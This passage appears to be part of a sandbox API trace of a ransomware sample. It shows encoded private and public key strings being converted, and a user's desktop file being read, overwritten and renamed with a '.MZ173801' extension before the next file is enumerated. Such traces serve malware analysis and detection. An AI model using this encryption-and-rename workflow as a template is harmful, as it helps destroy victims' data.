wrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0184.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0184.094] GetCurrentThreadId () returned 0xab4 [0184.094] GetCurrentThreadId () returned 0xab4 [0184.094] GetCurrentThreadId () returned 0xab4 [0184.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0184.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0184.095] GetCurrentThreadId () returned 0xab4 [0184.095] GetCurrentThreadId () returned 0xab4 [0184.095] GetCurrentThreadId () returned 0xab4 [0184.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\Zu8KI.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\zu8ki.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0184.096] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0184.096] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0184.096] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x3683 [0184.096] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0184.096] ReadFile (in: hFile=0x32c, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x3683, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x3683, lpOverlapped=0x0) returned 1 [0184.097] CloseHandle (hObject=0x32c) returned 1 [0184.097] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\Zu8KI.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\zu8ki.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0184.099] WriteFile (in: hFile=0x32c, lpBuffer=0x24a4040*, nNumberOfBytesToWrite=0x3683, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a4040*, lpNumberOfBytesWritten=0x19f758*=0x3683, lpOverlapped=0x0) returned 1 [0184.100] CloseHandle (hObject=0x32c) returned 1 [0184.101] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\Zu8KI.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\zu8ki.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\Zu8KI.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\zu8ki.mkv.mz173801")) returned 1 [0184.101] GetCurrentThreadId () returned 0xab4 [0184.101] GetCurrentThreadId () returned 0xab4 [0184.101] GetCurrentThreadId () returned 0xab4 [0184.102] GetCurrentThreadId () returned 0xab4 [0184.102] GetCurrentThreadId () returned 0xab4 [0184.102] GetCurrentThreadId () returned 0xab4 [0184.102] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab6530a0, ftCreationTime.dwHighDateTime=0x1d5e480, ftLastAccessTime.dwLowDateTime=0x58061980, ftLastAccessTime.dwHighDateTime=0x1d5f0d6, ftLastWriteTime.dwLowDateTime=0x58061980, ftLastWriteTime.dwHighDateTime=0x1d5f0d6, nFileSizeHigh=0x0, nFileSizeLow=0x1c2e, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="_trbIxVN.csv", cAlternateFileName="")) returned 1 [0184.102] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0184.102] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0184.102] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\_trbIxVN.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\_trbixvn.csv"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab6530a0, ftCreationTime.dwHighDateTime=0x1d5e480, ftLastAccessTime.dwLowDateTime=0x58061980, ftLastAccessTime.dwHighDateTime=0x1d5f0d6, ftLastWriteTime.dwLowDateTime=0x58061980, ftLastWriteTime.dwHighDateTime=0x1d5f0d6, nFileSizeHigh=0x0, nFileSizeLow=0x1c2e)) returned 1 [0184.102] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\_trbIxVN.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\9qqamdm\\_trbixvn.csv")) returned 0x20 [0184.102] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\9qqaMDM\\_trbIxVN.csv", dwFileAttributes=0x80) returned 1 [0184.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0184.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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